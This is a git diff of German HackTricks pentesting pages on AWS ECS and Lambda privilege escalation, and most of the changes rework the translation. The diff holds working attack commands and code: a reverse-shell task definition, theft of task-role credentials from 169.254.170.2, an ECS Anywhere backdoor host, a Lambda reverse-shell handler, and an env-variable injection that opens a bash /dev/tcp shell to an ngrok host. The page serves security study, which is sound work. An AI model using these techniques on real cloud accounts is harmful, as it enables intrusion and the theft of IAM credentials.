+> Dieser Angriff ist nur möglich, wenn der **ECS-Cluster EC2-Instanzen verwendet** und nicht Fargate.
 ```bash
 printf '[
 {
@@ -233,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-Ein Angreifer mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **Befehle in einem laufenden Container ausführen** und die daran angehängte IAM role exfiltrieren (man braucht die describe-Berechtigungen, da diese notwendig sind, um `aws ecs execute-command` auszuführen).\
-Allerdings muss dafür die container instance den **ExecuteCommand agent** ausführen (was standardmäßig nicht der Fall ist).
+Ein Angreifer mit den Rechten **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **Befehle ausführen** innerhalb eines laufenden Containers und die daran gebundene IAM-Rolle exfiltrieren (du brauchst die describe-Berechtigungen, weil sie notwendig sind, um `aws ecs execute-command` auszuführen).\
+Damit das funktioniert, muss auf der Container-Instanz der **ExecuteCommand agent** laufen (was standardmäßig nicht der Fall ist).

-Therefore, the attacker could try to:
+Deshalb könnte der Angreifer versuchen:

 - **Versuchen, in jedem laufenden Container einen Befehl auszuführen**
 ```bash
@@ -261,13 +261,13 @@ aws ecs execute-command --interactive \
 - Wenn er **`ecs:CreateService`** hat, erstelle einen Service mit `aws ecs create-service --enable-execute-command [...]`
 - Wenn er **`ecs:UpdateService`** hat, aktualisiere einen Service mit `aws ecs update-service --enable-execute-command [...]`

-Du findest **Beispiele für diese Optionen** in **vorherigen ECS privesc Abschnitten**.
+Du findest **Beispiele für diese Optionen** in den **vorherigen ECS privesc sections**.

-**Mögliche Auswirkungen:** Privesc zu einer anderen Rolle, die an Container angehängt ist.
+**Potential Impact:** Privesc zu einer anderen Rolle, die an Container angehängt ist.

 ### `ssm:StartSession`

-Sieh auf der **ssm privesc page** nach, wie du diese Berechtigung missbrauchen kannst, um **privesc zu ECS**:
+Sieh auf der **ssm privesc page** nach, wie du diese Berechtigung missbrauchen kannst, um **privesc to ECS**:

 {{#ref}}
 ../aws-ssm-privesc/README.md
@@ -275,7 +275,7 @@ Sieh auf der **ssm privesc page** nach, wie du diese Berechtigung missbrauchen k

 ### `iam:PassRole`, `ec2:RunInstances`

-Sieh auf der **ec2 privesc page** nach, wie du diese Berechtigungen missbrauchen kannst, um **privesc zu ECS**:
+Sieh auf der **ec2 privesc page** nach, wie du diese Berechtigungen missbrauchen kannst, um **privesc to ECS**:

 {{#ref}}
 ../aws-ec2-privesc/README.md
@@ -283,16 +283,16 @@ Sieh auf der **ec2 privesc page** nach, wie du diese Berechtigungen missbrauchen

 ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

-Ein Angreifer mit diesen Berechtigungen könnte potenziell eine EC2-Instanz in einem ECS-Cluster registrieren und darauf Tasks ausführen. Dadurch könnte der Angreifer beliebigen Code im Kontext der ECS-Tasks ausführen.
+Ein Angreifer mit diesen Berechtigungen könnte möglicherweise eine EC2-Instanz in einem ECS-Cluster registrieren und darauf Tasks ausführen. Dies könnte dem Angreifer erlauben, beliebigen Code im Kontext der ECS-Tasks auszuführen.

- TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Tasks auf Maschinen ausgeführt werden, die vom Angreifer kontrolliert werden??
+- TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Tasks auf von dem Angreifer kontrollierten Maschinen ausgeführt werden??

 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

 > [!NOTE]
-> TODO: Test this
+> TODO: Teste dies

-Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **einen bösartigen Task-Set für einen bestehenden ECS-Service erstellen und das primäre Task-Set aktualisieren**. Dadurch kann der Angreifer **beliebigen Code innerhalb des Service ausführen**.
+Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges task set für einen bestehenden ECS-Service erstellen und das primary task set aktualisieren**. Dadurch kann der Angreifer **beliebigen Code innerhalb des Services ausführen**.
 ```bash
 # Register a task definition with a reverse shell
 echo '{
@@ -318,13 +318,13 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Potentielle Auswirkungen**: Beliebigen Code im betroffenen Service ausführen, wodurch dessen Funktionalität beeinträchtigt werden oder sensible Daten exfiltriert werden können.
+**Potentielle Auswirkung**: Ausführen beliebigen Codes im betroffenen Service, was dessen Funktionalität beeinträchtigen oder sensible Daten exfiltrieren kann.

 ## Referenzen

 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)

-{{#include ../../../../banners/hacktricks-training.md}}
+



@@ -332,7 +332,7 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi

 ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

-Ein Angreifer mit Berechtigungen, ECS capacity providers zu verwalten und Services zu aktualisieren, kann eine von ihm kontrollierte EC2 Auto Scaling Group erstellen, diese in einen ECS Capacity Provider einbinden, ihn mit dem Ziel-Cluster verknüpfen und einen Opfer-Service so migrieren, dass er diesen Provider verwendet. Tasks werden dann auf von Angreifern kontrollierten EC2-Instanzen geplant, wodurch OS‑Level-Zugriff möglich wird, um Container zu untersuchen und Task-Role-Credentials zu stehlen.
+Ein Angreifer mit Berechtigungen, ECS capacity providers zu verwalten und Services zu aktualisieren, kann eine von ihm kontrollierte EC2 Auto Scaling Group erstellen, diese in einem ECS Capacity Provider kapseln, sie mit dem Zielcluster assoziieren und einen Opfer-Service migrieren, sodass dieser Provider genutzt wird. Tasks werden dann auf Angreifer-kontrollierten EC2-Instanzen geplant, was OS-level Zugriff erlaubt, um Container zu inspizieren und task role credentials zu stehlen.

 Commands (us-east-1):

@@ -340,37 +340,37 @@ Commands (us-east-1):



- Launch Template erstellen, damit sich der ECS agent dem Ziel-Cluster anschließt
+- Create Launch Template for ECS agent to join target cluster



- Auto Scaling Group erstellen
+- Create Auto Scaling Group



- Capacity Provider aus der ASG erstellen
+- Create Capacity Provider from the ASG



- Den Capacity Provider mit dem Cluster verknüpfen (optional als Standard)
+- Associate the Capacity Provider to the cluster (optionally as default)



- Einen Service auf Ihren Provider migrieren
+- Migrate a service to your provider



- Überprüfen, dass Tasks auf Angreifer-Instanzen landen
+- Verify tasks land on attacker instances



- Optional: Vom EC2-Knoten aus docker exec in Ziel-Container und http://169.254.170.2 lesen, um die Task-Role-Credentials zu erhalten.
+- Optional: Vom EC2-Knoten aus mit docker exec in Ziel-Container gehen und http://169.254.170.2 lesen, um die task role credentials zu erhalten.

 - Aufräumen



-**Potentielle Auswirkungen:** Von Angreifer kontrollierte EC2-Knoten erhalten Opfer-Tasks, was OS‑Level-Zugriff auf Container ermöglicht und zum Diebstahl der Task-IAM-Rollen-Credentials führen kann.
+**Potentielle Auswirkung:** Auf Angreifer kontrollierten EC2-Knoten landen Opfer-Tasks, was OS-level Zugriff auf Container und Diebstahl von task IAM role credentials ermöglicht.


 <details>
@@ -409,15 +409,15 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que

 ### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

-ECS Anywhere missbrauchen, um einen vom Angreifer kontrollierten Host als EXTERNAL container instance in einem Opfer-ECS-Cluster zu registrieren und Tasks auf diesem Host mit privilegierten task- und execution-roles auszuführen. Dies verschafft OS‑Level-Kontrolle darüber, wo Tasks laufen (dem eigenen Rechner) und ermöglicht das Stehlen von Credentials/Daten aus Tasks und angehängten Volumes, ohne Capacity Providers oder ASGs anzufassen.
+ECS Anywhere missbrauchen, um einen von Angreifer kontrollierten Host als EXTERNAL container instance in einem Opfer-ECS-Cluster zu registrieren und darauf Tasks mit privilegierten task- und execution-roles auszuführen. Das gewährt OS-level Kontrolle darüber, wo Tasks laufen (deine eigene Maschine) und erlaubt Credential-/Datendiebstahl aus Tasks und angebundenen Volumes, ohne capacity providers oder ASGs anfassen zu müssen.

- Erforderliche Berechtigungen (Beispiel minimal):
+- Benötigte Berechtigungen (Beispiel minimal):
 - ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
 - ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (für die ECS Anywhere instance role und task/execution roles)
+- logs:CreateLogGroup/Stream, logs:PutLogEvents (wenn awslogs verwendet wird)

- Auswirkung: Beliebige Container mit ausgewähltem taskRoleArn auf dem Angreifer-Host ausführen; Task-Role-Credentials von 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI exfiltrieren; auf alle von Tasks eingehängten Volumes zugreifen; unauffälliger als das Manipulieren von Capacity Providers/ASGs.
+- Auswirkung: Beliebige Container mit gewähltem taskRoleArn auf dem Angreifer-Host ausführen; task-role credentials von 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI exfiltrieren; auf von Tasks gemountete Volumes zugreifen; unauffälliger als die Manipulation von capacity providers/ASGs.

 Schritte

@@ -425,7 +425,7 @@ Schritte
 ```bash
 aws ecs create-cluster --cluster-name ht-ecs-anywhere
 ```
-2) ECS Anywhere-Rolle erstellen und SSM-Aktivierung (für on-prem/EXTERNAL Instanz)
+2) Erstelle ECS Anywhere-Rolle und SSM-Aktivierung (für on-prem/EXTERNAL-Instanz)
 ```bash
 aws iam create-role --role-name ecsAnywhereRole \
 --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
@@ -434,7 +434,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
 ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
 ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
 ```
-3) Angreifer-Host provisionieren und automatisch als EXTERNAL registrieren (Beispiel: kleine AL2 EC2 als “on‑prem”)
+3) Bereitstellen attacker host und auto-register it as EXTERNAL (Beispiel: small AL2 EC2 als “on‑prem”)

 <details>
 <summary>user-data.sh</summary>
@@ -455,14 +455,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
 --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
 aws ec2 wait instance-status-ok --instance-ids $IID
 ```
-4) Überprüfen, ob die EXTERNAL Container-Instance beigetreten ist
+4) Überprüfe, ob die EXTERNAL Container-Instance beigetreten ist
 ```bash
 aws ecs list-container-instances --cluster ht-ecs-anywhere
 aws ecs describe-container-instances --cluster ht-ecs-anywhere \
 --container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
 # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
 ```
-5) Erstelle task/execution roles, registriere die EXTERNAL task definition und führe sie auf dem attacker host aus
+5) Erstelle task/execution roles, registriere eine EXTERNAL task definition und führe sie auf dem Angreifer-Host aus
 ```bash
 # roles
 aws iam create-role --role-name ht-ecs-task-exec \
@@ -498,20 +498,20 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
 aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
 --container-instances $CI
 ```
-6) Ab hier kontrollierst du den Host, der die Tasks ausführt. Du kannst task logs (wenn awslogs) lesen oder direkt auf dem Host per exec zugreifen, um credentials/data aus deinen Tasks zu exfiltrate.
+6) Von hier aus kontrollieren Sie den Host, der die tasks ausführt. Sie können task logs lesen (wenn awslogs) oder direkt auf dem Host execen, um credentials/Daten aus Ihren tasks zu exfiltrieren.



-#### Befehlsbeispiel (Platzhalter)
+#### Command example (placeholders)




 ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

-Ein Angreifer mit Berechtigungen, ECS capacity providers zu verwalten und Services zu aktualisieren, kann eine EC2 Auto Scaling Group unter seiner Kontrolle erstellen, diese in einen ECS Capacity Provider einbinden, ihn dem Ziel-Cluster zuordnen und einen Opfer-Service so migrieren, dass er diesen Provider verwendet. Die Tasks werden dann auf vom Angreifer kontrollierten EC2-Instanzen geplant, was OS-Level-Zugriff erlaubt, um Container zu inspizieren und task role credentials zu stehlen.
+Ein Angreifer mit Berechtigungen, ECS capacity providers zu verwalten und services zu aktualisieren, kann eine EC2 Auto Scaling Group erstellen, die er kontrolliert, diese in einen ECS Capacity Provider einbinden, sie dem Zielcluster zuordnen und einen Opferservice so migrieren, dass er diesen Provider verwendet. Tasks werden dann auf attacker-controlled EC2 instances geplant, was OS-level access erlaubt, um containers zu inspizieren und task role credentials zu stehlen.

-Befehle (us-east-1):
+Commands (us-east-1):

 - Voraussetzungen

@@ -529,22 +529,23 @@ Befehle (us-east-1):



- Den Capacity Provider dem Cluster zuordnen (optional als Default)
+- Den Capacity Provider dem Cluster zuordnen (optional als Standard)



- Einen Service auf deinen Provider migrieren
+- Einen Service auf Ihren Provider migrieren



- Prüfen, ob Tasks auf den Instanzen des Angreifers landen
+- Überprüfen, dass Tasks auf attacker Instances landen



- Optional: Vom EC2-Node aus per docker exec in Ziel-Container einsteigen und http://169.254.170.2 lesen, um die task role credentials zu erhalten.
+- Optional: Vom EC2 node aus mit docker exec in die Zielcontainer wechseln und http://169.254.170.2 lesen, um die task role credentials zu erhalten.

 - Aufräumen



-**Potential Impact:** Vom Angreifer kontrollierte EC2-Knoten erhalten die Tasks der Opfer, wodurch OS-Level-Zugriff auf Container möglich wird und task IAM role credentials gestohlen werden können.
+**Potential Impact:** Auf attacker-controlled EC2 nodes landen Opfer-Tasks, wodurch OS-level access zu containers möglich wird und task IAM role credentials gestohlen werden.
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
@@ -12,11 +12,11 @@ Mehr Informationen zu lambda in:

 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

-Benutzer mit den **`iam:PassRole`, `lambda:CreateFunction` und `lambda:InvokeFunction`** Berechtigungen können ihre Privilegien eskalieren.\
-Sie können **eine neue Lambda-Funktion erstellen und ihr eine bestehende IAM-Rolle zuweisen**, wodurch die Funktion die mit dieser Rolle verbundenen Berechtigungen erhält. Der Benutzer kann dann **Code in diese Lambda-Funktion schreiben und hochladen (z. B. mit einer rev shell)**.\
-Sobald die Funktion eingerichtet ist, kann der Benutzer deren Ausführung auslösen und die gewünschten Aktionen durch Aufrufen der Lambda-Funktion über die AWS API durchführen. Dieser Ansatz ermöglicht es dem Benutzer effektiv, Aufgaben indirekt über die Lambda-Funktion auszuführen und mit dem Berechtigungsniveau zu operieren, das der zugewiesenen IAM-Rolle gewährt wird.\\
+Nutzer mit den **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`**-Berechtigungen können ihre Rechte eskalieren.\
+Sie können **eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen**, wodurch die Funktion die mit dieser Rolle verbundenen Berechtigungen erhält. Der Nutzer kann dann **Code für diese Lambda-Funktion schreiben und hochladen (z. B. mit einer rev shell)**.\
+Sobald die Funktion eingerichtet ist, kann der Nutzer **deren Ausführung auslösen** und die beabsichtigten Aktionen durch Aufruf der Lambda-Funktion über die AWS API ausführen. Dieser Ansatz erlaubt es dem Nutzer effektiv, Aufgaben indirekt über die Lambda-Funktion auszuführen und mit dem Zugriffsniveau zu operieren, das der zugewiesenen IAM-Rolle gewährt wird.\\

-Ein Angreifer könnte dies ausnutzen, um eine **rev shell zu erhalten und das Token zu stehlen**:
+Ein Angreifer könnte dies missbrauchen, um eine **rev shell zu bekommen und das token zu stehlen**:
 ```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
 # List roles
 aws iam list-attached-user-policies --user-name <user-name>
 ```
-Du könntest auch **abuse the lambda role permissions** direkt aus der lambda function selbst ausnutzen.\
-Wenn die lambda role über genügend permissions verfügte, könntest du sie nutzen, um dir admin rights zu gewähren:
+Du könntest außerdem **abuse the lambda role permissions** direkt aus der lambda function heraus.\
+Wenn die lambda role über genügend permissions verfügt, könntest du sie verwenden, um dir admin rights zu gewähren:
 ```python
 import boto3
 def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-Es ist auch möglich, ein Leak der Zugangsdaten der lambda-Rolle zu erhalten, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **Network isolated Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte security groups deine reverse shells filtern, ermöglicht dir dieses Code-Snippet, die Zugangsdaten direkt als Ausgabe der lambda zu erhalten (als Leak).
+Es ist außerdem möglich, die lambda's role credentials zu leaken, ohne eine externe Verbindung zu benötigen. Das wäre nützlich für **Network isolated Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte security groups deine reverse shells filtern, erlaubt dir dieses Code-Snippet, die credentials direkt als Ausgabe der lambda zu leaken.
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
 aws lambda invoke --function-name <lambda_name> output.txt
 cat output.txt
 ```
-**Mögliche Auswirkung:** Direkter privesc auf die angegebene beliebige lambda service role.
+**Potential Impact:** Direkter privesc zur angegebenen beliebigen Lambda-Service-Rolle.

 > [!CAUTION]
-> Beachte, dass, auch wenn es verlockend erscheint, **`lambda:InvokeAsync`** für sich genommen **nicht** erlaubt, **`aws lambda invoke-async`** auszuführen — du benötigst außerdem `lambda:InvokeFunction`
+> Beachte, dass selbst wenn es verlockend erscheinen mag, **`lambda:InvokeAsync`** für sich genommen **nicht** erlaubt, `aws lambda invoke-async` auszuführen; du brauchst außerdem `lambda:InvokeFunction`

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

-Wie im vorherigen Szenario kannst du dir die Berechtigung **`lambda:InvokeFunction`** gewähren, wenn du die Berechtigung **`lambda:AddPermission`** hast.
+Wie im vorherigen Szenario kannst du dir **die Berechtigung `lambda:InvokeFunction` gewähren**, wenn du die Berechtigung **`lambda:AddPermission`** hast.
 ```bash
 # Check the previous exploit and use the following line to grant you the invoke permissions
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
 --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-**Potential Impact:** Direkter privesc auf die angegebene beliebige lambda-Service-Rolle.
+**Potential Impact:** Direkte privesc auf die angegebene Lambda-Service-Rolle.

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

-Benutzer mit **`iam:PassRole`, `lambda:CreateFunction`, und `lambda:CreateEventSourceMapping`**-Berechtigungen (und möglicherweise `dynamodb:PutItem` und `dynamodb:CreateTable`) können indirekt **escalate privileges** erzielen, selbst ohne `lambda:InvokeFunction`.\
-Sie können eine **Lambda function mit bösartigem Code erstellen und ihr eine vorhandene IAM role zuweisen**.
+Benutzer mit den Rechten **`iam:PassRole`, `lambda:CreateFunction` und `lambda:CreateEventSourceMapping`** (und möglicherweise `dynamodb:PutItem` und `dynamodb:CreateTable`) können auch ohne `lambda:InvokeFunction` indirekt **escalate privileges**.\
+Sie können eine **Lambda function mit bösartigem Code erstellen und ihr eine bestehende IAM-Rolle zuweisen**.

-Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine neue oder vorhandene DynamoDB table ein oder nutzt sie und verknüpft sie über ein event source mapping mit der Lambda. Diese Konfiguration stellt sicher, dass die Lambda function **automatisch ausgelöst wird, wenn ein neuer Eintrag** in der Tabelle erfolgt, entweder durch eine Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda function indirekt aufgerufen wird und der Code mit den Berechtigungen der übergebenen IAM role ausgeführt wird.
+Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine neue oder vorhandene DynamoDB-Tabelle ein bzw. nutzt sie und verknüpft sie mit der Lambda über ein event source mapping. Diese Konfiguration stellt sicher, dass die Lambda function **automatisch ausgelöst wird, wenn ein neuer Eintrag** in der Tabelle erfolgt, entweder durch die Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda function indirekt aufgerufen wird und der Code mit den Berechtigungen der übergebenen IAM-Rolle ausgeführt wird.
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **das Event Source Mapping für die Lambda-Funktion einrichten**. Ist DynamoDB hingegen nicht im Einsatz, muss der Benutzer **eine neue Tabelle mit aktiviertem Streaming erstellen**:
+Wenn DynamoDB in der AWS-Umgebung bereits aktiv ist, muss der Benutzer nur **das event source mapping für die Lambda-Funktion einrichten**. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle mit aktiviertem Streaming erstellen**:
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
 --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-Jetzt ist es möglich, **connect the Lambda function to the DynamoDB table** durch **creating an event source mapping**:
+Jetzt ist es möglich, die **Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem man ein **event source mapping** erstellt:
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
 --enabled --starting-position LATEST
 ```
-Wenn die Lambda-Funktion mit dem DynamoDB stream verknüpft ist, kann der Angreifer **die Lambda-Funktion indirekt auslösen, indem er den DynamoDB stream aktiviert**. Dies kann erreicht werden durch **das Einfügen eines Items** in die DynamoDB table:
+Wenn die Lambda-Funktion mit dem DynamoDB-Stream verknüpft ist, kann der Angreifer die Lambda-Funktion **indirekt auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem ein Item in die DynamoDB-Tabelle **eingefügt wird**:
 ```bash
 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
 ```
-**Potentielle Auswirkung:** Direkter privesc auf die angegebene lambda-Service-Rolle.
+**Potential Impact:** Direkter privesc auf die angegebene lambda service role.

 ### `lambda:AddPermission`

-Ein Angreifer mit dieser Berechtigung kann **sich (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um Zugriff auf die Ressource zu gewähren):
+Ein Angreifer mit dieser Berechtigung kann **sich (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt resource based policies, um Zugriff auf die Ressource zu gewähren):
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,23 +130,22 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-**Potential Impact:** Direkte privesc auf die lambda service role, indem die Berechtigung zum Ändern des Codes und zum Ausführen gewährt wird.
+**Potentielle Auswirkung:** Direkter privesc auf die für die lambda-Service-Rolle verwendete Rolle, indem die Berechtigung zum Ändern des Codes und zum Ausführen gewährt wird.

 ### `lambda:AddLayerVersionPermission`

-Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) die Berechtigung `lambda:GetLayerVersion` gewähren**. Er könnte auf das Layer zugreifen und nach Schwachstellen oder sensiblen Informationen suchen.
+Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) die Berechtigung `lambda:GetLayerVersion` gewähren**. Er könnte auf den Layer zugreifen und nach Schwachstellen oder sensiblen Informationen suchen.
 ```bash
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
 ```
-**Potentielle Auswirkungen:** Potenzieller Zugriff auf sensible Informationen.
+**Mögliche Auswirkungen:** Möglicher Zugriff auf sensible Informationen.

 ### `lambda:UpdateFunctionCode`

-Benutzer mit der **`lambda:UpdateFunctionCode`** Berechtigung haben die Möglichkeit, **den Code einer vorhandenen Lambda-Funktion zu ändern, die mit einer IAM role verknüpft ist.**\
-Der Angreifer kann **den Code der Lambda ändern, um die IAM credentials zu exfiltrieren.**
+Benutzer, die die **`lambda:UpdateFunctionCode`** Berechtigung besitzen, haben die Möglichkeit, **den Code einer bestehenden Lambda function zu ändern, die mit einer IAM-Rolle verknüpft ist.**\ Der Angreifer kann **den Code der Lambda ändern, um die IAM credentials zu exfiltrieren**.

-Obwohl der Angreifer möglicherweise nicht die direkte Möglichkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass eine bereits vorhandene und aktive Lambda-Funktion durch bestehende Workflows oder Events ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt ermöglicht wird.
+Obwohl der Angreifer möglicherweise nicht die direkte Möglichkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass eine bereits vorhandene und aktive Lambda function durch bestehende Workflows oder Events ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
@@ -157,27 +156,27 @@ aws lambda invoke --function-name my_function output.txt

 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-**Mögliche Auswirkung:** Direkter privesc auf die verwendete lambda Service-Rolle.
+**Mögliche Auswirkungen:** Direkter privesc auf die verwendete lambda service role.

 ### `lambda:UpdateFunctionConfiguration`

-#### RCE via env variables
+#### RCE über env-Variablen

-Mit diesen permissions ist es möglich, environment variables hinzuzufügen, die bewirken, dass die Lambda beliebigen Code ausführt. Zum Beispiel ist es in python möglich, die environment variables `PYTHONWARNING` und `BROWSER` auszunutzen, um einen python-Prozess dazu zu bringen, beliebige Befehle auszuführen:
+Mit dieser Berechtigung ist es möglich, env-Variablen hinzuzufügen, die die Lambda dazu bringen, beliebigen Code auszuführen. Zum Beispiel ist es in python möglich, die env-Variablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen python-Prozess beliebige Befehle ausführen zu lassen:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-Für andere Skriptsprachen gibt es weitere env variables, die man verwenden kann. Für mehr Informationen siehe die Unterabschnitte zu Skriptsprachen in:
+Für andere Skriptsprachen gibt es weitere env variables, die du verwenden kannst. Für mehr Informationen siehe die Unterabschnitte zu Skriptsprachen in:

 {{#ref}}
 https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
 {{#endref}}

-#### RCE über Lambda Layers
+#### RCE via Lambda Layers

-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ermöglicht es, **code** in Ihrer lamdba Funktion einzubinden, ihn jedoch **separat zu speichern**, sodass der function code klein bleiben kann und **mehrere Funktionen code gemeinsam nutzen können**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ermöglicht es, **code** in deine lamdba function einzubinden, ihn aber **separat zu speichern**, sodass der Funktionscode klein bleiben kann und **mehrere Funktionen code gemeinsam nutzen können**.

-Innerhalb von lambda kann man die Pfade prüfen, aus denen python code geladen wird, mit einer Funktion wie der folgenden:
+Innerhalb von lambda kannst du die Pfade prüfen, aus denen python code geladen wird, mit einer Funktion wie der folgenden:
 ```python
 import json
 import sys
@@ -185,7 +184,7 @@ import sys
 def lambda_handler(event, context):
 print(json.dumps(sys.path, indent=2))
 ```
-These are the places:
+Diese Pfade:

 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -198,39 +197,39 @@ These are the places:
 9. /opt/python/lib/python3.7/site-packages
 10. /opt/python

-For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
+Zum Beispiel wird die Bibliothek boto3 aus `/var/runtime/boto3` geladen (4. Position).

 #### Ausnutzung

